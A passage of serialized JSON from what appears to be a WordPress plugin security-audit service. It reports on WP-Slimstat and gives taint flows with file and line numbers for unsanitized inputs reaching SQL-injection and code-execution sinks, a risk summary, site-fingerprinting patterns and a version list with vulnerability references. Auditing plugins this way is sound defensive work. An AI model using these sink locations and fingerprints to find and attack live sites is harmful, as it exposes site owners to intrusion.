(wp-slimstat.php:501)",{"nodes":1242,"edges":1247},[1243,1246],{"id":1180,"type":1181,"label":1244,"file":82,"line":1245},"$_attributes",501,{"id":1185,"type":1186,"label":1187,"file":82,"line":1159,"wp_function":1188},[1248],{"from":1180,"to":1185,"sanitized":54},{"entryPoint":1250,"graph":1251,"unsanitizedCount":29,"severity":1259},"\u003Cindex> (admin\\config\\index.php:0)",{"nodes":1252,"edges":1257},[1253,1256],{"id":1180,"type":1181,"label":1254,"file":808,"line":1255},"$_GET (x2)",9,{"id":1185,"type":1186,"label":1187,"file":808,"line":963,"wp_function":1188},[1258],{"from":1180,"to":1185,"sanitized":729},"low",{"entryPoint":1261,"graph":1262,"unsanitizedCount":29,"severity":1259},"delete_pageview (admin\\index.php:1540)",{"nodes":1263,"edges":1271},[1264,1267],{"id":1180,"type":1181,"label":1265,"file":510,"line":1266},"$_POST",1543,{"id":1185,"type":1186,"label":1268,"file":510,"line":1269,"wp_function":1270},"query() [SQLi]",1550,"query",[1272],{"from":1180,"to":1185,"sanitized":729},{"entryPoint":1274,"graph":1275,"unsanitizedCount":29,"severity":1259},"get_filter_options (admin\\index.php:1961)",{"nodes":1276,"edges":1283},[1277,1279],{"id":1180,"type":1181,"label":1265,"file":510,"line":1278},1976,{"id":1185,"type":1186,"label":1280,"file":510,"line":1281,"wp_function":1282},"get_results() [SQLi]",2111,"get_results",[1284],{"from":1180,"to":1185,"sanitized":729},{"entryPoint":1286,"graph":1287,"unsanitizedCount":29,"severity":1259},"\u003Cindex> (admin\\index.php:0)",{"nodes":1288,"edges":1293},[1289,1290,1291,1292],{"id":1180,"type":1181,"label":1265,"file":510,"line":1266},{"id":1185,"type":1186,"label":1268,"file":510,"line":1269,"wp_function":1270},{"id":1190,"type":1181,"label":1265,"file":510,"line":1278},{"id":1193,"type":1186,"label":1280,"file":510,"line":1281,"wp_function":1282},[1294,1295],{"from":1180,"to":1185,"sanitized":729},{"from":1190,"to":1193,"sanitized":729},{"entryPoint":1297,"graph":1298,"unsanitizedCount":29,"severity":1259},"handleBannerConsent (src\\Services\\Privacy\\ConsentHandler.php:81)",{"nodes":1299,"edges":1307},[1300,1301,1305,1306],{"id":1180,"type":1181,"label":1265,"file":746,"line":429},{"id":1185,"type":1186,"label":1302,"file":746,"line":1303,"wp_function":1304},"get_var() [SQLi]",193,"get_var",{"id":1190,"type":1181,"label":1265,"file":746,"line":429},{"id":1193,"type":1186,"label":1268,"file":746,"line":1101,"wp_function":1270},[1308,1309],{"from":1180,"to":1185,"sanitized":729},{"from":1190,"to":1193,"sanitized":729},{"entryPoint":1311,"graph":1312,"unsanitizedCount":29,"severity":1259},"\u003CConsentHandler> (src\\Services\\Privacy\\ConsentHandler.php:0)",{"nodes":1313,"edges":1318},[1314,1315,1316,1317],{"id":1180,"type":1181,"label":1265,"file":746,"line":429},{"id":1185,"type":1186,"label":1302,"file":746,"line":1303,"wp_function":1304},{"id":1190,"type":1181,"label":1265,"file":746,"line":429},{"id":1193,"type":1186,"label":1268,"file":746,"line":1101,"wp_function":1270},[1319,1320],{"from":1180,"to":1185,"sanitized":729},{"from":1190,"to":1193,"sanitized":729},{"entryPoint":1322,"graph":1323,"unsanitizedCount":190,"severity":1259},"update_option (wp-slimstat.php:1088)",{"nodes":1324,"edges":1335},[1325,1328,1332,1334],{"id":1180,"type":1181,"label":1326,"file":82,"line":1327},"$_key",1088,{"id":1185,"type":1186,"label":1329,"file":82,"line":1330,"wp_function":1331},"update_option() [Settings Manipulation]",1091,"update_option",{"id":1190,"type":1181,"label":1333,"file":82,"line":1327},"$_value",{"id":1193,"type":1186,"label":1329,"file":82,"line":1330,"wp_function":1331},[1336,1337],{"from":1180,"to":1185,"sanitized":54},{"from":1190,"to":1193,"sanitized":54},{"entryPoint":1339,"graph":1340,"unsanitizedCount":49,"severity":42},"remove_spam (admin\\index.php:818)",{"nodes":1341,"edges":1347},[1342,1345],{"id":1180,"type":1181,"label":1343,"file":510,"line":1344},"$_comment",818,{"id":1185,"type":1186,"label":1268,"file":510,"line":1346,"wp_function":1270},823,[1348],{"from":1180,"to":1185,"sanitized":54},{"entryPoint":1350,"graph":1351,"unsanitizedCount":190,"severity":42},"_create_table (admin\\index.php:2341)",{"nodes":1352,"edges":1364},[1353,1356,1358,1360],{"id":1180,"type":1181,"label":1354,"file":510,"line":1355},"$_sql",2341,{"id":1185,"type":1186,"label":1268,"file":510,"line":1357,"wp_function":1270},2343,{"id":1190,"type":1181,"label":1359,"file":510,"line":1355},"$_tablename",{"id":1193,"type":1186,"label":1361,"file":510,"line":1362,"wp_function":1363},"get_col() [SQLi]",2346,"get_col",[1365,1366],{"from":1180,"to":1185,"sanitized":54},{"from":1190,"to":1193,"sanitized":54},{"entryPoint":1368,"graph":1369,"unsanitizedCount":49,"severity":42},"get_results (admin\\view\\wp-slimstat-db.php:467)",{"nodes":1370,"edges":1376},[1371,1374],{"id":1180,"type":1181,"label":1354,"file":1372,"line":1373},"admin\\view\\wp-slimstat-db.php",467,{"id":1185,"type":1186,"label":1280,"file":1372,"line":1375,"wp_function":1282},520,[1377],{"from":1180,"to":1185,"sanitized":54},{"entryPoint":1379,"graph":1380,"unsanitizedCount":49,"severity":42},"get_var (admin\\view\\wp-slimstat-db.php:534)",{"nodes":1381,"edges":1386},[1382,1384],{"id":1180,"type":1181,"label":1354,"file":1372,"line":1383},534,{"id":1185,"type":1186,"label":1302,"file":1372,"line":1385,"wp_function":1304},586,[1387],{"from":1180,"to":1185,"sanitized":54},{"entryPoint":1389,"graph":1390,"unsanitizedCount":936,"severity":42},"raw_results_to_html (admin\\view\\wp-slimstat-reports.php:1083)",{"nodes":1391,"edges":1402},[1392,1395,1399,1401],{"id":1180,"type":1181,"label":1393,"file":1050,"line":1394},"$_args (x4)",1083,{"id":1185,"type":1186,"label":1396,"file":1050,"line":1397,"wp_function":1398},"call_user_func() [RCE]",1092,"call_user_func",{"id":1190,"type":1181,"label":1400,"file":1050,"line":1394},"$_args (x2)",{"id":1193,"type":1186,"label":1187,"file":1050,"line":1059,"wp_function":1188},[1403,1404],{"from":1180,"to":1185,"sanitized":54},{"from":1190,"to":1193,"sanitized":54},{"entryPoint":1406,"graph":1407,"unsanitizedCount":55,"severity":42},"show_events (admin\\view\\wp-slimstat-reports.php:1499)",{"nodes":1408,"edges":1416},[1409,1411,1413,1415],{"id":1180,"type":1181,"label":1400,"file":1050,"line":1410},1499,{"id":1185,"type":1186,"label":1396,"file":1050,"line":1412,"wp_function":1398},1501,{"id":1190,"type":1181,"label":1414,"file":1050,"line":1410},"$_args",{"id":1193,"type":1186,"label":1187,"file":1050,"line":1069,"wp_function":1188},[1417,1418],{"from":1180,"to":1185,"sanitized":54},{"from":1190,"to":1193,"sanitized":54},{"entryPoint":1420,"graph":1421,"unsanitizedCount":55,"severity":42},"show_group_by (admin\\view\\wp-slimstat-reports.php:1554)",{"nodes":1422,"edges":1429},[1423,1425,1427,1428],{"id":1180,"type":1181,"label":1400,"file":1050,"line":1424},1554,{"id":1185,"type":1186,"label":1396,"file":1050,"line":1426,"wp_function":1398},1556,{"id":1190,"type":1181,"label":1414,"file":1050,"line":1424},{"id":1193,"type":1186,"label":1187,"file":1050,"line":1075,"wp_function":1188},[1430,1431],{"from":1180,"to":1185,"sanitized":54},{"from":1190,"to":1193,"sanitized":54},{"summary":1433,"deductions":1434},"WP-Slimstat v5.4.3 presents a mixed security posture. On the positive side, the plugin demonstrates good practices in its handling of SQL queries, with 97% utilizing prepared statements, and a strong emphasis on output escaping, with 83% of outputs properly escaped. The presence of 25 nonce checks and 28 capability checks also indicates an awareness of common security controls.\n\nHowever, significant concerns arise from the static analysis. A substantial attack surface is exposed, with 7 out of 19 entry points lacking authentication checks, including AJAX handlers and REST API routes. The taint analysis reveals 14 flows with unsanitized paths, with 7 flagged as high severity, indicating potential for malicious input to be processed without adequate validation. The use of dangerous functions like `assert`, `unserialize`, `shell_exec`, and `proc_open` further amplifies the risk, especially when combined with unsanitized input.\n\nThe plugin's vulnerability history is also a major red flag, with 23 known CVEs, all of which are surprisingly marked as patched, though the recency of the last vulnerability in 2026 (likely a typo, but noted) doesn't provide current reassurance. The historical focus on SQL Injection, Missing Authorization, CSRF, and XSS, coupled with the current taint analysis findings, suggests recurring weaknesses in input validation and authorization mechanisms. While the current version may not have unpatched CVEs, the underlying patterns of vulnerabilities and the identified static analysis issues paint a picture of a plugin that requires vigilant monitoring and potential code review to ensure long-term security.",[1435,1437,1439,1442,1444,1446,1449,1451,1453,1455,1457],{"reason":1436,"points":103},"Unprotected AJAX handlers",{"reason":1438,"points":936},"Unprotected REST API routes",{"reason":1440,"points":1441},"High severity taint flows",14,{"reason":1443,"points":103},"Flows with unsanitized paths",{"reason":1445,"points":461},"Dangerous functions used",{"reason":1447,"points":1448},"Large attack surface without auth",8,{"reason":1450,"points":461},"High historical vulnerability count",{"reason":1452,"points":439},"Historical SQL Injection vulnerabilities",{"reason":1454,"points":439},"Historical Missing Authorization vulnerabilities",{"reason":1456,"points":55},"Historical CSRF vulnerabilities",{"reason":1458,"points":55},"Historical XSS vulnerabilities","2026-03-16T17:12:15.558Z",{"wat":1461,"direct":1472},{"assetPaths":1462,"generatorPatterns":1466,"scriptPaths":1467,"versionParams":1468},[1463,1464,1465],"\u002Fwp-content\u002Fplugins\u002Fwp-slimstat\u002Fassets\u002Fcss\u002Fslimstat-frontend.css","\u002Fwp-content\u002Fplugins\u002Fwp-slimstat\u002Fassets\u002Fcss\u002Fslimstat-frontend-rtl.css","\u002Fwp-content\u002Fplugins\u002Fwp-slimstat\u002Fassets\u002Fjs\u002Fslimstat-frontend.js",[],[1465],[1469,1470,1471],"wp-slimstat\u002Fassets\u002Fcss\u002Fslimstat-frontend.css?ver=","wp-slimstat\u002Fassets\u002Fcss\u002Fslimstat-frontend-rtl.css?ver=","wp-slimstat\u002Fassets\u002Fjs\u002Fslimstat-frontend.js?ver=",{"cssClasses":1473,"htmlComments":1475,"htmlAttributes":1478,"restEndpoints":1479,"jsGlobals":1481,"shortcodeOutput":1484},[1474],"slimstat-frontend",[1476,1477],"\u003C!-- SLIMSTAT START TRACKING -->","\u003C!-- SLIMSTAT END TRACKING -->",[],[1480],"\u002Fwp-json\u002Fslimstat\u002Fv1\u002Ftrack",[1482,1483],"window.slimstat","var slimstat_config",[1485,1486,1487,1488,1489],"[slimstat_visits]","[slimstat_pageviews]","[slimstat_referrers]","[slimstat_top_pages]","[slimstat_countries]",{"error":729,"url":1491,"statusCode":1492,"statusMessage":1493,"message":1493},"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fwp-slimstat\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":1495,"versions":1496},208,[1497,1502,1509,1516,1523,1530,1537,1544,1551,1557,1564,1572,1581,1592,1605,1618,1631,1644,1657,1670,1683,1696,1708,1722,1736,1750,1764,1778,1792,1806,1820,1833,1848,1863,1878,1893,1908,1923,1937,1953,1971,1989,2006,2025,2043,2064,2085,2106,2127,2147,2168,2189,2212,2235,2257,2282,2307,2332,2357,2382,2407,2432,2457,2482,2507,2532,2557,2582,2607,2632,2657,2681,2707,2733,2758,2785,2812,2839,2866,2893,2920,2947,2974,3001,3028,3055,3082,3109,3136,3163,3190,3217,3244,3271,3298,3325,3352,3378,3405,3432,3459,3486,3513,3540,3567,3594,3621,3648,3675,3702,3729,3756,3783,3810,3837,3864,3891,3918,3945,3972,3999,4026,4053,4080,4107,4134,4161,4188,4215,4242,4268,4295,4322,4349,4376,4403,4430,4456,4483,4510,4537,4564,4591,4618,4645,4671,4699,4727,4755,4783,4811,4839,4867,4895,4923,4951,4979,5007,5035,5063,5091,5119,5147,5175,5203,5231,5259,5286,5315,5344,5372,5402,5432,5462,5492,5522,5552,5582,5611,5641,5671,5701,5731,5761,5791,5821,5851,5881,5911,5941,5971,6001,6031,6061,6091,6121,6151,6181,6210,6241,6272,6303,6334,6365,6395,6426,6457,6488],{"version":6,"download_url":26,"svn_tag_url":1498,"released_at":39,"has_diff":54,"diff_files_changed":1499,"diff_lines":39,"trac_diff_url":1500,"vulnerabilities":1501,"is_current":729},"https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.4.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.4.8&new_path=%2Fwp-slimstat%2Ftags%2F5.4.9",[],{"version":1503,"download_url":1504,"svn_tag_url":1505,"released_at":39,"has_diff":54,"diff_files_changed":1506,"diff_lines":39,"trac_diff_url":1507,"vulnerabilities":1508,"is_current":54},"5.4.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.4.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.4.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.4.6&new_path=%2Fwp-slimstat%2Ftags%2F5.4.8",[],{"version":1510,"download_url":1511,"svn_tag_url":1512,"released_at":39,"has_diff":54,"diff_files_changed":1513,"diff_lines":39,"trac_diff_url":1514,"vulnerabilities":1515,"is_current":54},"5.4.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.4.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.4.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.4.5&new_path=%2Fwp-slimstat%2Ftags%2F5.4.6",[],{"version":1517,"download_url":1518,"svn_tag_url":1519,"released_at":39,"has_diff":54,"diff_files_changed":1520,"diff_lines":39,"trac_diff_url":1521,"vulnerabilities":1522,"is_current":54},"5.4.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.4.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.4.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.4.4&new_path=%2Fwp-slimstat%2Ftags%2F5.4.5",[],{"version":1524,"download_url":1525,"svn_tag_url":1526,"released_at":39,"has_diff":54,"diff_files_changed":1527,"diff_lines":39,"trac_diff_url":1528,"vulnerabilities":1529,"is_current":54},"5.4.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.4.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.4.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.4.3&new_path=%2Fwp-slimstat%2Ftags%2F5.4.4",[],{"version":1531,"download_url":1532,"svn_tag_url":1533,"released_at":39,"has_diff":54,"diff_files_changed":1534,"diff_lines":39,"trac_diff_url":1535,"vulnerabilities":1536,"is_current":54},"5.4.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.4.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.4.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.4.2&new_path=%2Fwp-slimstat%2Ftags%2F5.4.3",[],{"version":1538,"download_url":1539,"svn_tag_url":1540,"released_at":39,"has_diff":54,"diff_files_changed":1541,"diff_lines":39,"trac_diff_url":1542,"vulnerabilities":1543,"is_current":54},"5.4.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.4.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.4.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.4.1&new_path=%2Fwp-slimstat%2Ftags%2F5.4.2",[],{"version":1545,"download_url":1546,"svn_tag_url":1547,"released_at":39,"has_diff":54,"diff_files_changed":1548,"diff_lines":39,"trac_diff_url":1549,"vulnerabilities":1550,"is_current":54},"5.4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.4.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.4.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.4.0&new_path=%2Fwp-slimstat%2Ftags%2F5.4.1",[],{"version":41,"download_url":1552,"svn_tag_url":1553,"released_at":39,"has_diff":54,"diff_files_changed":1554,"diff_lines":39,"trac_diff_url":1555,"vulnerabilities":1556,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.4.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.4.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.3.5&new_path=%2Fwp-slimstat%2Ftags%2F5.4.0",[],{"version":142,"download_url":1558,"svn_tag_url":1559,"released_at":39,"has_diff":54,"diff_files_changed":1560,"diff_lines":39,"trac_diff_url":1561,"vulnerabilities":1562,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.3.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.3.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.3.4&new_path=%2Fwp-slimstat%2Ftags%2F5.3.5",[1563],{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":123,"download_url":1565,"svn_tag_url":1566,"released_at":39,"has_diff":54,"diff_files_changed":1567,"diff_lines":39,"trac_diff_url":1568,"vulnerabilities":1569,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.3.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.3.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.3.3&new_path=%2Fwp-slimstat%2Ftags%2F5.3.4",[1570,1571],{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":96,"download_url":1573,"svn_tag_url":1574,"released_at":39,"has_diff":54,"diff_files_changed":1575,"diff_lines":39,"trac_diff_url":1576,"vulnerabilities":1577,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.3.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.3.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.3.2&new_path=%2Fwp-slimstat%2Ftags%2F5.3.3",[1578,1579,1580],{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":69,"download_url":1582,"svn_tag_url":1583,"released_at":39,"has_diff":54,"diff_files_changed":1584,"diff_lines":39,"trac_diff_url":1585,"vulnerabilities":1586,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.3.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.3.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.3.1&new_path=%2Fwp-slimstat%2Ftags%2F5.3.2",[1587,1588,1589,1590,1591],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":1593,"download_url":1594,"svn_tag_url":1595,"released_at":39,"has_diff":54,"diff_files_changed":1596,"diff_lines":39,"trac_diff_url":1597,"vulnerabilities":1598,"is_current":54},"5.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.3.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.3.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.3.0&new_path=%2Fwp-slimstat%2Ftags%2F5.3.1",[1599,1600,1601,1602,1603,1604],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":1606,"download_url":1607,"svn_tag_url":1608,"released_at":39,"has_diff":54,"diff_files_changed":1609,"diff_lines":39,"trac_diff_url":1610,"vulnerabilities":1611,"is_current":54},"5.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.3.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.3.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2.13&new_path=%2Fwp-slimstat%2Ftags%2F5.3.0",[1612,1613,1614,1615,1616,1617],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":1619,"download_url":1620,"svn_tag_url":1621,"released_at":39,"has_diff":54,"diff_files_changed":1622,"diff_lines":39,"trac_diff_url":1623,"vulnerabilities":1624,"is_current":54},"5.2.13","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.13.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2.13\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2.12&new_path=%2Fwp-slimstat%2Ftags%2F5.2.13",[1625,1626,1627,1628,1629,1630],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":1632,"download_url":1633,"svn_tag_url":1634,"released_at":39,"has_diff":54,"diff_files_changed":1635,"diff_lines":39,"trac_diff_url":1636,"vulnerabilities":1637,"is_current":54},"5.2.12","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.12.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2.12\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2.11&new_path=%2Fwp-slimstat%2Ftags%2F5.2.12",[1638,1639,1640,1641,1642,1643],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":1645,"download_url":1646,"svn_tag_url":1647,"released_at":39,"has_diff":54,"diff_files_changed":1648,"diff_lines":39,"trac_diff_url":1649,"vulnerabilities":1650,"is_current":54},"5.2.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.11.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2.11\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2.10&new_path=%2Fwp-slimstat%2Ftags%2F5.2.11",[1651,1652,1653,1654,1655,1656],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":1658,"download_url":1659,"svn_tag_url":1660,"released_at":39,"has_diff":54,"diff_files_changed":1661,"diff_lines":39,"trac_diff_url":1662,"vulnerabilities":1663,"is_current":54},"5.2.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.10.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2.10\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2.9&new_path=%2Fwp-slimstat%2Ftags%2F5.2.10",[1664,1665,1666,1667,1668,1669],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"version":1671,"download_url":1672,"svn_tag_url":1673,"released_at":39,"has_diff":54,"diff_files_changed":1674,"diff_lines":39,"trac_diff_url":1675,"vulnerabilities":1676,"is_current":54},"5.2.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.2.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.2.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.2.8&new_path=%2Fwp-slimstat%2Ftags%2F5.2.9",[1677,1678,1679,1680,1681,1682],{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,